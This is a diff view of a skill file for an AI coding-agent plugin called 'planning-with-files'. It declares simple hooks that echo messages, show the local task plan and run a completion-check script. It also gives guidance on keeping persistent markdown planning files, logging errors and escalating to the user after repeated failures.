- Glob
|
|
12
|
+
- Grep
|
|
13
|
+
- WebFetch
|
|
14
|
+
- WebSearch
|
|
15
|
+
hooks:
|
|
16
|
+
SessionStart:
|
|
17
|
+
- hooks:
|
|
18
|
+
- type: command
|
|
19
|
+
command: "echo '[planning-with-files] Ready. Auto-activates for complex tasks, or invoke manually with /planning-with-files'"
|
|
20
|
+
PreToolUse:
|
|
21
|
+
- matcher: "Write|Edit|Bash"
|
|
22
|
+
hooks:
|
|
23
|
+
- type: command
|
|
24
|
+
command: "cat task_plan.md 2>/dev/null | head -30 || true"
|
|
25
|
+
PostToolUse:
|
|
26
|
+
- matcher: "Write|Edit"
|
|
27
|
+
hooks:
|
|
28
|
+
- type: command
|
|
29
|
+
command: "echo '[planning-with-files] File updated. If this completes a phase, update task_plan.md status.'"
|
|
30
|
+
Stop:
|
|
31
|
+
- hooks:
|
|
32
|
+
- type: command
|
|
33
|
+
command: "${CLAUDE_PLUGIN_ROOT}/scripts/check-complete.sh"
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
# Planning with Files
|
|
37
|
+
|
|
38
|
+
Work like Manus: Use persistent markdown files as your "working memory on disk."
|
|
39
|
+
|
|
40
|
+
## Important: Where Files Go
|
|
41
|
+
|
|
42
|
+
When using this skill:
|
|
43
|
+
|
|
44
|
+
- **Templates** are stored in the skill directory at `${CLAUDE_PLUGIN_ROOT}/templates/`
|
|
45
|
+
- **Your planning files** (`task_plan.md`, `findings.md`, `progress.md`) should be created in **your project directory** — the folder where you're working
|
|
46
|
+
|
|
47
|
+
| Location | What Goes There |
|
|
48
|
+
|----------|-----------------|
|
|
49
|
+
| Skill directory (`${CLAUDE_PLUGIN_ROOT}/`) | Templates, scripts, reference docs |
|
|
50
|
+
| Your project directory | `task_plan.md`, `findings.md`, `progress.md` |
|
|
51
|
+
|
|
52
|
+
This ensures your planning files live alongside your code, not buried in the skill installation folder.
|
|
53
|
+
|
|
54
|
+
## Quick Start
|
|
55
|
+
|
|
56
|
+
Before ANY complex task:
|
|
57
|
+
|
|
58
|
+
1. **Create `task_plan.md`** in your project — Use [templates/task_plan.md](templates/task_plan.md) as reference
|
|
59
|
+
2. **Create `findings.md`** in your project — Use [templates/findings.md](templates/findings.md) as reference
|
|
60
|
+
3. **Create `progress.md`** in your project — Use [templates/progress.md](templates/progress.md) as reference
|
|
61
|
+
4. **Re-read plan before decisions** — Refreshes goals in attention window
|
|
62
|
+
5. **Update after each phase** — Mark complete, log errors
|
|
63
|
+
|
|
64
|
+
> **Note:** All three planning files should be created in your current working directory (your project root), not in the skill's installation folder.
|
|
65
|
+
|
|
66
|
+
## The Core Pattern
|
|
67
|
+
|
|
68
|
+
```
|
|
69
|
+
Context Window = RAM (volatile, limited)
|
|
70
|
+
Filesystem = Disk (persistent, unlimited)
|
|
71
|
+
|
|
72
|
+
→ Anything important gets written to disk.
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
## File Purposes
|
|
76
|
+
|
|
77
|
+
| File | Purpose | When to Update |
|
|
78
|
+
|------|---------|----------------|
|
|
79
|
+
| `task_plan.md` | Phases, progress, decisions | After each phase |
|
|
80
|
+
| `findings.md` | Research, discoveries | After ANY discovery |
|
|
81
|
+
| `progress.md` | Session log, test results | Throughout session |
|
|
82
|
+
|
|
83
|
+
## Critical Rules
|
|
84
|
+
|
|
85
|
+
### 1. Create Plan First
|
|
86
|
+
Never start a complex task without `task_plan.md`. Non-negotiable.
|
|
87
|
+
|
|
88
|
+
### 2. The 2-Action Rule
|
|
89
|
+
> "After every 2 view/browser/search operations, IMMEDIATELY save key findings to text files."
|
|
90
|
+
|
|
91
|
+
This prevents visual/multimodal information from being lost.
|
|
92
|
+
|
|
93
|
+
### 3. Read Before Decide
|
|
94
|
+
Before major decisions, read the plan file. This keeps goals in your attention window.
|
|
95
|
+
|
|
96
|
+
### 4. Update After Act
|
|
97
|
+
After completing any phase:
|
|
98
|
+
- Mark phase status: `in_progress` → `complete`
|
|
99
|
+
- Log any errors encountered
|
|
100
|
+
- Note files created/modified
|
|
101
|
+
|
|
102
|
+
### 5. Log ALL Errors
|
|
103
|
+
Every error goes in the plan file. This builds knowledge and prevents repetition.
|
|
104
|
+
|
|
105
|
+
```markdown
|
|
106
|
+
## Errors Encountered
|
|
107
|
+
| Error | Attempt | Resolution |
|
|
108
|
+
|-------|---------|------------|
|
|
109
|
+
| FileNotFoundError | 1 | Created default config |
|
|
110
|
+
| API timeout | 2 | Added retry logic |
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### 6. Never Repeat Failures
|
|
114
|
+
```
|
|
115
|
+
if action_failed:
|
|
116
|
+
next_action != same_action
|
|
117
|
+
```
|
|
118
|
+
Track what you tried. Mutate the approach.
|
|
119
|
+
|
|
120
|
+
## The 3-Strike Error Protocol
|
|
121
|
+
|
|
122
|
+
```
|
|
123
|
+
ATTEMPT 1: Diagnose & Fix
|
|
124
|
+
→ Read error carefully
|
|
125
|
+
→ Identify root cause
|
|
126
|
+
→ Apply targeted fix
|
|
127
|
+
|
|
128
|
+
ATTEMPT 2: Alternative Approach
|
|
129
|
+
→ Same error? Try different method
|
|
130
|
+
→ Different tool? Different library?
|
|
131
|
+
→ NEVER repeat exact same failing action
|
|
132
|
+
|
|
133
|
+
ATTEMPT 3: Broader Rethink
|
|
134
|
+
→ Question assumptions
|
|
135
|
+
→ Search for solutions
|
|
136
|
+
→ Consider updating the plan
|
|
137
|
+
|
|
138
|
+
AFTER 3 FAILURES: Escalate to User
|
|
139
|
+
→ Explain what you tried
|
|
140
|
+
→ Share the specific error
|
|
141
|
+
→ Ask for guidance
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
## Read vs Write Decision Matrix
|
|
145
|
+
|
|
146
|
+
| Situation | Action | Reason |
|
|
147
|
+
|-----------|--------|--------|
|
|
148
|
+
| Just wrote a file | DON'T read | Content still in context |
|
|
149
|
+
| Viewed image/PDF | Write findings NOW | Multimodal → text before lost |
|
|
150
|
+
| Browser returned data | Write to file | Screenshots don't persist |
|
|
151
|
+
| Starting new phase | Read plan/findings | Re-orient if context stale |
|
|
152
|
+
| Error occurred | Read relevant file | Need current state to fix |
|
|
153
|
+
| Resuming after gap | Read all planning files | Recover state |
|
|
154
|
+
|
|
155
|
+
## The 5-Question Reboot Test
|
|
156
|
+
|
|
157
|
+
If you can answer these, your context management is solid:
|
|
158
|
+
|
|
159
|
+
| Question | Answer Source |
|
|
160
|
+
|----------|---------------|
|
|
161
|
+
| Where am I? | Current phase in task_plan.md |
|
|
162
|
+
| Where am I going? | Remaining phases |
|
|
163
|
+
| What's the goal? | Goal statement in plan |
|
|
164
|
+
| What have I learned? | findings.md |
|
|
165
|
+
| What have I done? | progress.md |
|
|
166
|
+
|
|
167
|
+
## When to Use This Pattern
|
|
168
|
+
|
|
169
|
+
**Use for:**
|
|
170
|
+
- Multi-step tasks (3+ steps)
|
|
171
|
+
- Research tasks
|
|
172
|
+
- Building/creating projects
|
|
173
|
+
- Tasks spanning many tool calls
|
|
174
|
+
- Anything requiring organization
|
|
175
|
+
|
|
176
|
+
**Skip for:**
|
|
177
|
+
- Simple questions
|
|
178
|
+
- Single-file edits
|
|
179
|
+
- Quick lookups
|
|
180
|
+
|
|
181
|
+
## Templates
|
|
182
|
+
|
|
183
|
+
Copy these templates to start:
|
|
184
|
+
|
|
185
|
+
- [templates/task_plan.md](templates/task_plan.md) — Phase tracking
|
|
186
|
+
- [templates/findings.md](templates/findings.md) — Research storage
|
|
187
|
+
- [templates/progress.md](templates/progress.md) — Session logging
|
|
188
|
+
|
|
189
|
+
## Scripts
|
|
190
|
+
|
|
191
|
+
Helper scripts for automation:
|
|
192
|
+
|
|
193
|
+
- `scripts/init-session.sh` — Initialize all planning files
|
|
194
|
+
- `scripts/check-complete.sh` — Verify all phases complete
|
|
195
|
+
|
|
196
|
+
## Advanced Topics
|
|
197
|
+
|
|
198
|
+
- **Manus Principles:** See [reference.md](reference.md)
|
|
199
|
+
- **Real Examples:** See [examples.md](examples.md)
|
|
200
|
+
|
|
201
|
+
## Anti-Patterns
|
|
202
|
+
|
|
203
|
+
| Don't | Do Instead |
|
|
204
|
+
|-------|------------|
|
|
205
|
+
| Use TodoWrite for persistence | Create task_plan.md file |
|
|
206
|
+
| State goals once and forget | Re-read plan before decisions |
|
|
207
|
+
| Hide errors and retry silently | Log errors to plan file |
|
|
208
|
+
| Stuff everything in context | Store large content in files |
|
|
209
|
+
| Start executing immediately | Create plan file FIRST |
|
|
210
|
+
| Repeat failed actions | Track attempts, mutate approach |
|
|
211
|
+
| Create files in skill directory | Create files in your project |
|